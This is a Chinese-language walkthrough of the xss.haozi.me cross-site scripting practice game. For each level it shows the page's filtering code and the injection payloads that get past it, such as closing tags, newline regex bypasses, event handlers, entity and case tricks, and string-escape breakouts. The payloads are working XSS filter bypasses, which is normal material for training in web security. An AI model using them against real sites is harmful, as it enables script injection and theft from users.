XSS弹窗专项练习
https://xss.haozi.me/#/0x01
第零关
简单的script代码
<script>alert(1)</script>
第一关
网页源码如下
function render (input) {
return '<textarea>' + input + '</textarea>'
}
因为的存在所有里面的内容都会被解析为文本即字符类型
那么我们可以利用双标签闭合
</textarea><script>alert(1)</script><textarea>
或
</textarea><script>alert(1)</script>
第二关
源码如下
function render (input) {
return '<input type="name" value="' + input + '">'
}
根据页面中的前端代码回显可以利用闭合input函数来绕过
"><script>alert(1)</script>
第三关
源码如下
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
发现()括号被过滤 了,那么就需要绕过或者找其他函数
利用`来绕过
<script>alert`1`</script>
第四关
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
这次把反引号也过滤了
对于URL有URL编码,HTML也有对应的HTML编码,利用其绕过
https://www.freebuf.com/articles/web/222849.html
<svg>标签中可以直接执行HTML实体字符。或者<iframe>标签的srcdoc里面的内容可以直接在HTML中显示出来。
<svg><script>alert(1)</script>
或
<iframe srcdoc="<svg><script>alert(1)</script>">
第五关
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
因为这里用 来进行注释了,那么我们就需要来取消这个注释,利用–!>来反注释
--!><svg><script>alert(1)</script>
第六关
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
发现将所有以auto
或者on
开头的且以=
或>
结尾的属性替换成_
后直接输出,且匹配是不考虑大小写
利用onerror 事件
如果在加载图片时发生错误则执行 JavaScript
但因为用on开头也会被过滤所以可以利用换行符绕过正则
type="image" src="" onerror
=alert(1)
还可以利用其他事件来触发
onmousemove事件,这里要注意要记得移动鼠标触发哦
将鼠标指针移到 <div> 元素上时执行 JavaScript:
onmousemove
=alert(1)
同理
onmouseover
=alert(1)
第七关
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
发现这里的正则匹配是,以<开头的中间可以任意的内容然后以>为结尾的即过滤 了<>包含的内容,那么是否可以实现不闭合执行呢
Onload事件
onload 事件在对象被加载后发生。 onload 最常用于 <body> 元素中,用于在网页完全加载所有内容(包括图像、脚本文件、CSS 文件等)后执行脚本。
<body onload="alert(1)"
或者
<img src="" onerror="alert(1)"
第八关
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
发现输入的内容被限制在了标签内,那么需要闭合绕过
</style ><script>alert(1)</script>
或者依旧利用换行来绕过
</style
><script>alert(1)</script>
第九关
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
这个正则经过测试发现就是src里面的内容必须包含一个符合标准的url那么绕过也是比较简单的
https://www.segmentfault.com"></script><script>alert(1)</script>//
或者
https://www.segmentfault.com"></script><img src="xxx" onerror="alert(1)
或者
https://www.segmentfault.com" onerror="alert(1)
第十关
感觉这题咋说呢就是为了出题而出题
可以去看看别人的博客
第十一题
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
考点
在html标签和url中不区分大小写,但是js严格区分大小写。
<script src="https://xss.haozi.me/j.js"></script>
第十二题
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
<img src="" onerror=alert(1) >
利用html标签绕过
利用CyberChef中的TO HTML entity功能完成
第十三题
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
利用换行绕过正则之后利用-->注释后面的内容
alert(1)
-->
第十四题
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
知识点
ſ经过toUpperCase()后变成字符S
又因为js严格过滤大小写因此在src中写入
<ſcript src="https://xss.haozi.me/j.js"></script>
第十五题
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
');alert('1
或者
'); alert(1); //
第十六题
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
alert(1)
第十七题
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
//虽然被转义成了\/\/, 但转义之后还是//, 在js中还是注释符 (勿与正则弄混)
");alert(1);//
第十八题
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
发现双引号被变成了\,那么如果两个\存在的时候就可以正常了于是利用"
\");alert(1);//